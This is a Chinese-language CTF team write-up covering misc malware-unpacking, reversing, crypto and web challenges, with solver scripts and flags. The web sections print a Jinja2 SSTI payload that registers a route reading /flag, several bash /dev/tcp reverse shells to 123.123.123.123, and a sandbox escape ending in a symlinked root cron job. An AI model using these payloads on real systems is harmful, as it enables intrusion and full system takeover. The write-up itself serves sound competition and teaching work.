队伍情况

队伍名称

图书馆五楼风很大

队伍排名

rk4

队伍成员

k1sme4
TenMap1e
am0unt
fault

[Misc]简历

solved by k1sme4

🩸🩸 查壳,有UPX壳: Pasted image 20240817170639.png
脱壳后IDA及沙箱分析无果,直接foremost得到一张简历图片:Pasted image 20240817164958.png
zsteg得到一个default.a的下载链接: Pasted image 20240817165207.png
分析default.a,可以看到大量重复的yyttdddPasted image 20240817165909.png
用厨子xor一下,得到一个新的exe文件:Pasted image 20240817170036.png
沙箱未能分析出网络行为,通过IDA分析,可以看到明显的python特征: Pasted image 20240817170514.png
尝试使用pyinstxtractor解包失败,最后strings看到了关键信息: Pasted image 20240817170902.png
Pasted image 20240817170949.png
那么思路就很明确了,需要用pupy相关的工具解包,在大量搜索尝试后找到以下可用项目:Pasted image 20240817171131.png
安装好依赖库后尝试运行,会出现报错: Pasted image 20240817171302.png
对项目中的main.py2.7参数尝试多种方法调整未能解决,遂详细审了一下报错,发现问题来自python2uncompyle6库中main.py的一条assert语句,于是选择直接将这行注释掉:Pasted image 20240817171815.png
再次运行,虽然最后会出现报错,但是需要的C2也已经成功输出了: Pasted image 20240817171940.png
MD5后包上flag{}即可,最终flag:

flag{b57758d5acc923137eef453239ba685b}

[Reverse]babyre

solved by k1sme4

三位三位加密,而且重叠:1723892674305-6c8dc0a7-12af-4e8e-ba6b-eabd22c134b2.png
1723892692610-2f955d84-1c71-4f6c-87fd-50e996cc2896.png
先进行sha256,然后异或,异或的值为原来的3位字符: 1723892709766-f24f1bf6-ff45-4a6e-9e9d-a358635a2ef0.png
1723892751416-afbd0ec2-c5f4-4dd7-890e-726e1f0e108c.png
于是选择直接爆破,得到:

1
  -48-79-80-bf0bd17719429f37-39a4-748f4a37-472977279380b8a}8fb93794a9a49f8a-8a39a4-ag{b-bbd1bfed17ea-f8afb-feaflag{1lag{19

因为有重叠而且打乱了顺序,这里选择把得到的字符串3个3个的划分,开头肯定为fla,因为存在重叠,找到开头为la(lag)的字符,然后把g拼上去,再找ag开头的字符,以此类推,递归爆破即可,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159

 import hashlib
 from itertools import product
 from string import printable
 from tqdm import tqdm
 dic = {}
 for i in tqdm(product(printable,repeat=3)):
     key="".join(list(i))
     data = list(bytes.fromhex(hashlib.sha256(key.encode('utf-8')).hexdigest() ))
     akey = list(map(ord, key))
     for _ in range(len(data)):
         data[_] ^= akey[_ % 3]
     dic[bytes(data)]=key
 ​
 enc=[ 0xEB, 0x74, 0x46, 0x4F, 0x79, 0x24, 0xC5, 0x62, 0x10, 0xCB,
   0xFF, 0xC5, 0xA2, 0x39, 0xBE, 0x03, 0x99, 0xED, 0x2C, 0x8F,
   0xB9, 0x54, 0x2B, 0xA7, 0xC5, 0x8A, 0x7E, 0x56, 0x0F, 0x35,
   0x2C, 0xA0, 0x3E, 0xE5, 0xE0, 0x0A, 0x6E, 0xA9, 0x38, 0xCF,
   0x85, 0xF8, 0x82, 0xC7, 0x99, 0xD7, 0x8B, 0xC6, 0x82, 0x22,
   0x54, 0x28, 0xF4, 0xE5, 0x56, 0xD0, 0x47, 0xF1, 0x5E, 0x57,
   0x66, 0x85, 0x5C, 0x04, 0x66, 0x0D, 0xC7, 0x21, 0x81, 0x95,
   0x4C, 0xF9, 0x97, 0x6E, 0x57, 0x05, 0xCB, 0xAA, 0x48, 0x3D,
   0x2A, 0xAB, 0x5A, 0x69, 0x28, 0x3D, 0x68, 0xE4, 0xF7, 0x4C,
   0x23, 0xCF, 0xA8, 0xC2, 0x26, 0xD0, 0xF9, 0x41, 0xE7, 0xF4,
   0xFF, 0x99, 0x60, 0xF1, 0xDA, 0x67, 0x7E, 0x9D, 0xBF, 0x98,
   0x14, 0xB5, 0xB3, 0xE2, 0xD7, 0x99, 0x07, 0x4A, 0xC0, 0x12,
   0x0F, 0x21, 0x2F, 0x3A, 0x52, 0xC3, 0x7F, 0xE3, 0x35, 0xD5,
   0x6D, 0xB4, 0xBD, 0x21, 0x46, 0x00, 0x04, 0x9F, 0x7F, 0x95,
   0x0C, 0x01, 0xFA, 0xBD, 0x86, 0x25, 0x06, 0x56, 0x07, 0x30,
   0x4F, 0x17, 0xAE, 0xF3, 0xC0, 0xF0, 0x17, 0x7F, 0x9B, 0x3E,
   0xBD, 0xE5, 0x66, 0x33, 0x46, 0x60, 0x6C, 0xB3, 0x07, 0xF1,
   0x64, 0x5F, 0x00, 0x6D, 0xB0, 0x88, 0xF3, 0x4F, 0x7D, 0x44,
   0xBE, 0x95, 0x43, 0xA1, 0x39, 0x3B, 0x29, 0x50, 0x6D, 0x1D,
   0x31, 0x81, 0x44, 0x60, 0xFE, 0x7B, 0xAC, 0x48, 0xBD, 0xBB,
   0x8E, 0x35, 0x41, 0x28, 0xE7, 0x53, 0x5C, 0xE7, 0x3B, 0x16,
   0x18, 0xC5, 0x94, 0xD9, 0xD1, 0xB9, 0xBF, 0x71, 0x48, 0xA7,
   0xD7, 0x70, 0x77, 0xE9, 0xA7, 0xFF, 0xA0, 0xBE, 0x1C, 0xFA,
   0x98, 0x00, 0xFE, 0x33, 0x64, 0xF9, 0xE7, 0x30, 0x45, 0x57,
   0x97, 0x40, 0x45, 0xE0, 0xC9, 0x50, 0xB8, 0xF3, 0x44, 0x44,
   0x32, 0xC1, 0x6A, 0xB7, 0xDD, 0xEE, 0x37, 0x1F, 0x60, 0x26,
   0xFA, 0x2D, 0x6F, 0xC1, 0x43, 0x59, 0x8A, 0x9E, 0xE9, 0xE1,
   0x27, 0x36, 0xEA, 0xBD, 0x51, 0x5B, 0xAE, 0x24, 0xBB, 0x03,
   0xE4, 0xC0, 0x62, 0xDD, 0xC2, 0x63, 0xF4, 0xA1, 0x8C, 0x3E,
   0x5C, 0x10, 0xA4, 0xCC, 0x88, 0xE1, 0x9B, 0x04, 0x59, 0x2B,
   0x86, 0x4A, 0xC8, 0x83, 0xD8, 0xB9, 0x94, 0xEE, 0xB2, 0xC4,
   0x64, 0x96, 0xB3, 0x41, 0x6B, 0x00, 0x0C, 0x9A, 0x34, 0x4A,
   0x4F, 0x3C, 0xF2, 0xC3, 0x0D, 0xA6, 0xDD, 0x57, 0xB7, 0xD3,
   0x70, 0x1C, 0xDC, 0xB9, 0x41, 0x8E, 0xAE, 0x8A, 0x04, 0x70,
   0xC2, 0xAD, 0x26, 0x68, 0xEC, 0xF0, 0xE3, 0xAE, 0x6B, 0x6A,
   0x29, 0xF6, 0xAE, 0x3C, 0x23, 0xE3, 0x0F, 0x42, 0x57, 0x1D,
   0xFC, 0x50, 0x71, 0x71, 0xD1, 0x73, 0xF9, 0x28, 0x71, 0x8E,
   0x2A, 0x5D, 0x18, 0xC4, 0x3F, 0x7A, 0x5B, 0x20, 0xE1, 0x25,
   0xA6, 0x42, 0x1E, 0xFB, 0xEF, 0xA5, 0x03, 0x4B, 0xF4, 0x4B,
   0x5E, 0x66, 0xEF, 0x90, 0x12, 0x4E, 0xE2, 0xCF, 0xFD, 0x9A,
   0xAC, 0xE7, 0xC4, 0x93, 0x56, 0xA6, 0x4A, 0xDF, 0xFB, 0xA0,
   0xD4, 0x4D, 0x29, 0xB1, 0x25, 0xAB, 0x8E, 0x98, 0x38, 0x6E,
   0xD9, 0x11, 0x29, 0xB0, 0x19, 0x7A, 0xE9, 0xA6, 0x42, 0xC1,
   0x73, 0x57, 0x8E, 0xFD, 0x47, 0x84, 0xD1, 0xEE, 0x08, 0x7C,
   0xE7, 0x65, 0xA7, 0x14, 0x64, 0x0F, 0x9A, 0xA8, 0x67, 0xA4,
   0xAD, 0x87, 0x92, 0x29, 0xF1, 0x71, 0x20, 0x37, 0xD5, 0x22,
   0xB5, 0x22, 0x6B, 0x2D, 0xC7, 0x44, 0x0E, 0xFC, 0xB7, 0x53,
   0xEC, 0x8A, 0x52, 0xC2, 0x9C, 0xF1, 0xFB, 0x9B, 0xD8, 0x5F,
   0xA6, 0x5F, 0xDA, 0x70, 0xB1, 0x26, 0x1E, 0x14, 0x3F, 0x94,
   0x06, 0xD0, 0x0D, 0x90, 0xAA, 0x0F, 0x55, 0x31, 0x06, 0x52,
   0xF3, 0xF9, 0x08, 0xD7, 0xC1, 0xE5, 0xA8, 0x41, 0xF7, 0x7E,
   0xBD, 0x30, 0x14, 0xFC, 0xA2, 0x3C, 0xB2, 0x23, 0xF8, 0x91,
   0x5D, 0x77, 0x30, 0xAF, 0xC7, 0x27, 0x6F, 0x1C, 0x0F, 0xC7,
   0xEA, 0x33, 0xA3, 0x08, 0x35, 0x53, 0xD2, 0x68, 0x4D, 0x96,
   0x4E, 0xC7, 0xE4, 0xA9, 0x20, 0x5D, 0xEE, 0x6F, 0xCF, 0xEA,
   0xDA, 0x8B, 0x58, 0x9C, 0xF4, 0x83, 0x26, 0xAF, 0x2D, 0xEB,
   0xF5, 0x6D, 0xB4, 0x2A, 0x4D, 0xFD, 0xF7, 0x4B, 0xF9, 0xCB,
   0x0A, 0x34, 0xBF, 0xD9, 0x7B, 0x90, 0xB8, 0x3E, 0x17, 0xE3,
   0x1F, 0xE0, 0xA4, 0x8B, 0x54, 0xC9, 0x4A, 0xC4, 0x17, 0x5B,
   0x46, 0x30, 0x2D, 0x5E, 0x8B, 0x38, 0xD7, 0xCB, 0x42, 0xE6,
   0x18, 0xAE, 0xC9, 0x19, 0x7D, 0x43, 0xB1, 0xB3, 0x68, 0x91,
   0xA1, 0x8C, 0xDC, 0x5C, 0xA5, 0x7F, 0x20, 0x28, 0x41, 0x87,
   0xFE, 0x69, 0x88, 0xD8, 0x60, 0xED, 0x46, 0x07, 0x6F, 0x77,
   0x9B, 0x08, 0x8D, 0x2F, 0xA7, 0x8A, 0x79, 0x8A, 0x55, 0xDC,
   0xC6, 0xE6, 0x57, 0xE8, 0xB1, 0x01, 0xA2, 0x3B, 0x9F, 0x8A,
   0xDE, 0x02, 0xF6, 0x96, 0xD9, 0x05, 0xF6, 0x3C, 0x62, 0x6C,
   0x3E, 0x07, 0xFD, 0x06, 0x00, 0x2B, 0x20, 0x30, 0xB2, 0x0F,
   0xAF, 0xF0, 0x26, 0x25, 0xD9, 0xB8, 0x75, 0xA4, 0xB7, 0x4D,
   0xD4, 0x21, 0xCC, 0xB5, 0x41, 0x1C, 0xC3, 0x09, 0xEB, 0xE7,
   0xCC, 0x75, 0xBE, 0xD4, 0x08, 0xF9, 0xF4, 0x86, 0xE6, 0xCF,
   0xFF, 0x4F, 0x14, 0xAC, 0x36, 0xDF, 0xFB, 0x64, 0x3C, 0x27,
   0x21, 0xA3, 0xAD, 0x4C, 0xA9, 0x54, 0x15, 0xD5, 0x9C, 0xF3,
   0xC3, 0xEE, 0x85, 0xFF, 0x75, 0xF2, 0xBC, 0x6F, 0xFD, 0x1F,
   0xC0, 0x94, 0x99, 0x54, 0x4B, 0x72, 0x18, 0xF5, 0x93, 0x7E,
   0x8B, 0x73, 0xC7, 0x76, 0x4D, 0xEB, 0xC8, 0x40, 0x26, 0x6B,
   0x14, 0xF3, 0xD0, 0x49, 0xAE, 0x95, 0x11, 0xAB, 0x13, 0x5C,
   0xC7, 0x64, 0xC5, 0xC6, 0xF1, 0x0C, 0x87, 0xC0, 0x87, 0xBC,
   0x8D, 0x31, 0x81, 0xD7, 0x47, 0x06, 0x30, 0xD4, 0xA9, 0x83,
   0xFE, 0x40, 0x1F, 0x46, 0xC9, 0x9F, 0x4A, 0x52, 0xD8, 0x1E,
   0x8D, 0x41, 0x46, 0x21, 0x1B, 0xFA, 0x28, 0xAE, 0x52, 0xC9,
   0xD0, 0xE3, 0x97, 0x4A, 0xFB, 0x2D, 0x83, 0x0F, 0x44, 0x31,
   0x36, 0xF4, 0x46, 0x4D, 0xDF, 0xEF, 0xA3, 0x06, 0x88, 0xBE,
   0x27, 0xA8, 0xA0, 0x15, 0x8A, 0x85, 0xB8, 0x04, 0x0C, 0x2C,
   0x04, 0x59, 0x8F, 0x21, 0x11, 0x75, 0x1D, 0x29, 0x6F, 0x86,
   0x2F, 0xFE, 0xBC, 0x2F, 0xB5, 0x0D, 0x65, 0x30, 0xFE, 0x6C,
   0x09, 0xD7, 0x0F, 0x54, 0x66, 0x4E, 0xD2, 0xF2, 0xC4, 0x43,
   0x65, 0xD6, 0x47, 0xB3, 0xE6, 0xD5, 0xBB, 0x45, 0x70, 0x7C,
   0x8B, 0x18, 0xC8, 0xA2, 0x48, 0xB1, 0x53, 0x30, 0x96, 0x05,
   0xB3, 0x4E, 0xD9, 0xCE, 0xF4, 0x21, 0x72, 0x11, 0x4F, 0x52,
   0xAE, 0x47, 0xE8, 0x06, 0x31, 0x31, 0xEF, 0xB2, 0xF1, 0xAD,
   0x55, 0x86, 0x8D, 0x64, 0x87, 0x22, 0x11, 0x1B, 0x00, 0xCF,
   0xE2, 0x13, 0x24, 0x63, 0xF9, 0x65, 0x9A, 0xA1, 0xF8, 0x29,
   0x8E, 0xD2, 0xFB, 0xD1, 0x23, 0x90, 0x71, 0xDC, 0x3A, 0xCF,
   0x63, 0x66, 0x1C, 0x77, 0xA5, 0xAC, 0xBB, 0x54, 0x41, 0x0F,
   0xF3, 0xF7, 0xCF, 0xA1, 0x70, 0x10, 0x40, 0xBD, 0x2D, 0x2C,
   0x8F, 0x72, 0x1A, 0x37, 0xE3, 0x10, 0xA8, 0x46, 0x05, 0x84,
   0x5E, 0x72, 0x02, 0xDB, 0x02, 0x1B, 0x23, 0x46, 0xA1, 0xBB,
   0x92, 0x0A, 0xE8, 0x0D, 0xD0, 0x06, 0x6F, 0x05, 0xA0, 0x52,
   0x4B, 0xC8, 0x03, 0x39, 0xED, 0x99, 0x32, 0x54, 0x28, 0x83,
   0x47, 0x3F, 0xEF, 0xCA, 0x18, 0xC1, 0xC8, 0xB8, 0xC9, 0xB0,
   0xE3, 0x1B, 0x71, 0x69, 0xBA, 0xC1, 0xF1, 0xB9, 0x69, 0x7B,
   0x27, 0x99, 0xBD, 0xB8, 0x69, 0x00, 0x6C, 0x16, 0xC4, 0x9B,
   0x77, 0x52, 0x5A, 0xB7, 0x54, 0x6F, 0xE3, 0x34, 0x5E, 0x5F,
   0x01, 0xA5, 0xE2, 0x48, 0xFB, 0x96, 0x6B, 0x75, 0x92, 0xD2,
   0xA0, 0xDA, 0x0B, 0xED, 0x3E, 0x27, 0xF6, 0xC7, 0x89, 0x64,
   0x7F, 0xDE, 0x73, 0xF5, 0x92, 0x58, 0xFF, 0xC6, 0xA6, 0x38,
   0x75, 0x86, 0x61, 0x12, 0x6F, 0xC0, 0x3D, 0x24, 0x22, 0x6D,
   0xA7, 0x29, 0x5E, 0xBD, 0xF5, 0x0C, 0x52, 0xD9, 0x66, 0x31,
   0xB5, 0x80, 0x4D, 0x02, 0xCD, 0xF2, 0xDC, 0x89, 0xFA, 0x60,
   0x63, 0xCA, 0x2D, 0x00, 0x95, 0x32, 0x00, 0xBE, 0xD4, 0xBF,
   0x73, 0x4C, 0xED, 0xBA, 0x0C, 0x56, 0xA1, 0x85, 0xC4, 0x6C,
   0xB6, 0x0A, 0xBC, 0xDD, 0x8C, 0x61, 0x1E, 0x42, 0x03, 0xB4,
   0xE0, 0xF2, 0x17, 0xFA, 0x14, 0x38, 0x9F, 0xB1, 0xA4, 0x9C,
   0x03, 0x18, 0x0C, 0xC6, 0x16, 0xC7, 0x30, 0xFA, 0x48, 0xB1,
   0xB9, 0x6E, 0xB1, 0x7D, 0x7B, 0x3B, 0xDF, 0xD9, 0xB6, 0xA7,
   0xD6, 0x46, 0xA5, 0x7C, 0x97, 0x6D, 0xD5, 0x92, 0xA3, 0xF0,
   0x22, 0xA1, 0x53, 0x99, 0xA1, 0xC3, 0x71, 0x40, 0xE1, 0x89,
   0x7B, 0x23, 0x19, 0x18, 0xDC, 0x2F, 0x22, 0x57, 0xDD, 0x2C,
   0xC3, 0x3F, 0xAD, 0xEF, 0x99, 0x93, 0x9C, 0xE9, 0xEB, 0x67,
   0x66, 0x74, 0x45, 0x8E, 0xD4, 0x87, 0x98, 0x4E, 0x9F, 0x8D,
   0x2C, 0x7D, 0xF2, 0x3D, 0x80, 0x93, 0x94, 0x0F, 0xEA, 0xB5,
   0x86, 0xD0, 0xE6, 0x74, 0xB6, 0xB2, 0x41, 0x61, 0x25, 0xDE,
   0xD9, 0xC2, 0x38, 0x6A, 0x24, 0x7F, 0x1D, 0x87, 0xBA, 0xD1,
   0xCA, 0xB6, 0x40, 0x57, 0x9E, 0xAE, 0x30, 0x50, 0xFF, 0xD0,
   0xA8, 0xAE, 0xDF, 0x52, 0x25, 0x4A, 0xA5, 0xE9, 0x18, 0x6F,
   0x06, 0x0C, 0x97, 0x15, 0x0E, 0xC2, 0x66, 0x26, 0xCC, 0x84,
   0x51, 0xC4, 0x75, 0x69, 0x76, 0x4B, 0x28, 0x16, 0x67, 0xA5,
   0x44, 0x28, 0xE0, 0x96, 0xA2, 0x0A, 0x5D, 0x81, 0xEB, 0x4D]
 for i in range(0,len(enc),32):
     print(dic[bytes(enc[i:i+32])],end="")
 print()
 flag='''-48-79-80-bf0bd17719429f37-39a4-748f4a37-472977279380b8a}8fb93794a9a49f8a-8a39a4-ag{b-bbd1bfed17ea-f8afb-feaflag{1lag{19'''
 flags=[flag[i:i+3] for i in range(0,len(flag),3)]
 ​
 def crack(flag, level):
   get = flag[-2:]
   if flag.endswith("}"):
     print(flag)
     exit()
   for i in flags:
     if i.startswith(get):
       flag += i[-1]
       crack(flag, level + 1)
 ​
 crack("fla", 0)

最终flag:

flag{194a39a4-7937-48fb-bfea-80bd17729f8a}

[Crypto]backdoorplus

solved by k1sme4

推导如下:

  • 曲线E已知,生成元G已知

  • 由横坐标sig_r得到点p_1=kG

  • z=(k_1-w*t)G+(-ak_1-b)*Y

  • 其中t=1,k_1=k,Y=X*G

  • 可得z=k_1G-wtG-ak_1Y-bY=p_1-wtG-aXp_1-bY

  • 其中w,t,a,X,b已知

  • 求出z取横坐标为k_2,然后求出p,q解RSA即可

  • 实际flag比模数大,爆破倍数即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from Crypto.Util.number import *  
 import hashlib
 import gmpy2
 ​
 # n = generator_192.order()
 n = 6277101735386680763835789423176059013767194773182842284081
 ​
 # print(generator_192.curve())
 p = 6277101735386680763835789423207666416083908700390324961279
 a = -3
 b = 2455155546008943817740293915197451784769108058161191238065
 ​
 sig_r = 6052579169727414254054653383715281797417510994285530927615
 malicious_sig_r = 3839784391338849056467977882403235863760503590134852141664
 E = EllipticCurve(GF(p), [a, b])
 p1 = E.lift_x(ZZ(sig_r))
 ​
 # G = E(generator_192.x(), generator_192.y())
 G = E([602046282375688656758213480587526111916698976636884684818,
        174050332293622031404857552280219410364023488927386650641])
 ​
 a, b, w, X = 751818, 1155982, 908970521, 20391992
 Y = X * G
 t = 1
 z = p1 - w * t * G -a*X*p1 - b * Y
 zx = int(z.xy()[0])
 k2 = int(hashlib.sha1(str(zx).encode()).hexdigest(), 16)
 print(k2)
 print(int((k2*G)[0])==malicious_sig_r)
 ​
 p = k2
 for i in range(99):
     p = gmpy2.next_prime(p)
 q = gmpy2.next_prime(p)
 e = 65537
 phi=(p-1)*(q-1)
 d=inverse(e,phi)
 c=1294716523385880392710224476578009870292343123062352402869702505110652244504101007338338248714943
 flag=long_to_bytes(pow(c,d,p*q))
 print(flag)
 N=p*q
 m=int(pow(c,d,N))
 k=0
 while True:
     flag=long_to_bytes(m+k*N)
     if b'flag' in flag:
         print(flag)
         break
     k+=1

最终flag:

flag{0c75afae-f8ad-4df1-b2d9-a9ca348cb226}

[Web]EncirclingGame

solved by fault

签到题,玩游戏就行,随便点点给flag: Pasted image 20240817184909.png
最终flag:

flag{be0900a9-ae5b-4287-b3c3-258ea0904b3e}

[Web]GoldenHornKing

solved by fault

审计源码发现就是jinjia2的ssti,经过测试后发现正确会回显fight,结合python环境下只能想到ssti打内存马或者反弹shell了,尝试反弹shell后发现弹不出来?可能是不出网?直接注册路由,但是发现是fastapi,于是去搜了fastapi注册路由,找到了add_api_route,之后持续拷打gpt得到了可以这样注册: Pasted image 20240817185030.png
但是最开始的payload如下:

1
 calc?calc_req=config.__class__.__init__.__globals__['__builtins__'].eval("app.add_api_route(\"/fault\", lambda:__import__('os').popen('cat /flag').read(), methods=[\"GET\"])")

最后发现还是有问题,猜测可能是app这里不能直接用,于是又继续搜索 发现sys。modules里可以找到app,于是最后的payload如下:

1
calc?calc_req=config.__class__.__init__.__globals__['__builtins__'].eval("__import__(\"sys\").modules['__main__'].__dict__['app'].add_api_route(\"/fault\", lambda:__import__('os').popen('cat /flag').read(), methods=[\"GET\"])")

然后去访问fault路由,即可看到结果

[Web]php_online

solved by TenMap1e

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from flask import Flask, request, session, redirect, url_for, render_template  
import os
import secrets


app = Flask(__name__)
app.secret_key = secrets.token_hex(16)
working_id = []


@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
id = request.form['id']
if not id.isalnum() or len(id) != 8:
return '无效的ID'
session['id'] = id
if not os.path.exists(f'/sandbox/{id}'):
os.popen(f'mkdir /sandbox/{id} && chown www-data /sandbox/{id} && chmod a+w /sandbox/{id}').read()
return redirect(url_for('sandbox'))
return render_template('submit_id.html')


@app.route('/sandbox', methods=['GET', 'POST'])
def sandbox():
if request.method == 'GET':
if 'id' not in session:
return redirect(url_for('index'))
else:
return render_template('submit_code.html')
if request.method == 'POST':
if 'id' not in session:
return 'no id'
user_id = session['id']
if user_id in working_id:
return 'task is still running'
else:
working_id.append(user_id)
code = request.form.get('code')
os.popen(f'cd /sandbox/{user_id} && rm *').read()
os.popen(f'sudo -u www-data cp /app/init.py /sandbox/{user_id}/init.py && cd /sandbox/{user_id} && sudo -u www-data python3 init.py').read()
os.popen(f'rm -rf /sandbox/{user_id}/phpcode').read()

php_file = open(f'/sandbox/{user_id}/phpcode', 'w')
php_file.write(code)
php_file.close()

result = os.popen(f'cd /sandbox/{user_id} && sudo -u nobody php phpcode').read()
os.popen(f'cd /sandbox/{user_id} && rm *').read()
working_id.remove(user_id)

return result


if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=80)

审计源码index.py逻辑,发现可以输入一个8位字母数字id(这里随便用的是11111111)然后直接执行php代码:

1
<?php system("bash -c 'bash -i >& /dev/tcp/123.123.123.123/1234 0>&1'");?>

反弹得到shell,权限为nobody,需要进行沙箱sandbox逃逸提权: image-20240817183458066.png
继续,意识到执行php代码前的预处理过程:

1
2
os.popen(f'cd /sandbox/{user_id} && rm *').read()  
os.popen(f'sudo -u www-data cp /app/init.py /sandbox/{user_id}/init.py && cd /sandbox/{user_id} && sudo -u www-data python3 init.py').read()

/sandbox/{user_id}下进行rm *操作时并不能删除掉目录,所以我们这里可以先再输入一个22222222随意执行任意的php代码(直接执行空的就行这里就是)在/sandbox下创建出另一个/sandbox/22222222目录:image-20240817183826766.png
/sandbox下的沙箱目录权限为777我们可以实施比较多的操作,于是我们这里可以在/sandbox/22222222mkdir新建一个init.py目录:image-20240817230450955.png
而python在直接执行目录python3 init.py时需要其中有__main__.py作为main module模块,所以我们这里使用base64编码向/sandbox/22222222/init.py目录下写入一个__main__.py

1
echo aW1wb3J0IG9zCm9zLnBvcGVuKCJiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEyMy4xMjMuMTIzLjEyMy80MzIxIDA+JjEnIikucmVhZCgp | base64 -d > init.py/__main__.py

内容为:

1
2
import os  
os.popen("bash -c 'bash -i >& /dev/tcp/123.123.123.123/4321 0>&1'").read()

并且将整个init.py目录赋予777权限:image-20240817231635795.png
此时再输入22222222使用这个id执行php代码时经过:

1
2
3
os.popen(f'cd /sandbox/{user_id} && rm *').read()  
os.popen(f'sudo -u www-data cp /app/init.py /sandbox/{user_id}/init.py && cd /sandbox/{user_id} && sudo -u www-data python3 init.py').read()
os.popen(f'rm -rf /sandbox/{user_id}/phpcode').read()

并不会删除或覆盖我们的init.py目录且会通过sudo -u www-data python3 init.py执行我们创建的这个目录及其下的__main__.py文件从而得到www-data用户权限的反弹shell: !image-20240817231757781.png
继续,有了www-data用户的shell后,我们的权限提升了一定程度,但还不够,不过幸运的是此时我们可以对/sandbox目录进行任意操作了(所有者为www-datanobody用户无法操作但www-data用户可以随意操作)。而纵观整个代码,想要提升到root用户权限,其中能利用的无非两处操作:

1
2
3
4
5
6
7
os.popen(f'cd /sandbox/{user_id} && rm *').read()

和:

php_file = open(f'/sandbox/{user_id}/phpcode', 'w')
php_file.write(code)
php_file.close()

其中root用户执行了rm *删除目录下所有文件以及写phpcode文件的操作,而这里我经过良久的思考和钻研,突然意识到既然我们对/sandbox目录可控,那我不就可以使用ln -s命令创建一个名字符合8位字母数字id格式的软连接指向链到任意一个目录了吗?即此处我们对{user_id}可控,也就可以对任一目录执行rm *和写phpcode文件操作。而删除所有文件显然并没有什么利用的说法,那么唯一的攻击可能性就集中在了向任意目录写任意内容的phpcode文件上。显然,这种环境的这种写文件情况就只有一个利用思路:写定时任务。我们在/sandbox目录下执行:

ln -s /etc/cron.d 33333333

创建一个名为33333333指向/etc/cron.d目录的软连接: image-20240817232911246.png
然后再输入33333333使用这个id在写入phpcode文件作为定时任务的同时于注释中执行php代码:

1
2
* * * * * root bash -c 'bash -i >& /dev/tcp/123.123.123.123/8888 0>&1'  
#<?php while(1){}?>

这里加一个死循环的php延时代码是为了在执行phpcode文件里的php代码过程中:

1
2
result = os.popen(f'cd /sandbox/{user_id} && sudo -u nobody php phpcode').read()  
os.popen(f'cd /sandbox/{user_id} && rm *').read()

导致阻塞延时卡死致使phpcode文件被留存下来于/etc/cron.d目录中而不是被执行完秒删从而触发每分钟的定时任务,此时ls /etc/cron.d即可找到这个phpcode文件: image-20240817233632229.png
随后等待一段时间即可接收到root用户的反弹shell,直接cat /flag即得flag: image-20240817233726229.png
最终flag:

flag{74c85d45-4693-4dab-90bd-65b96bb500fa}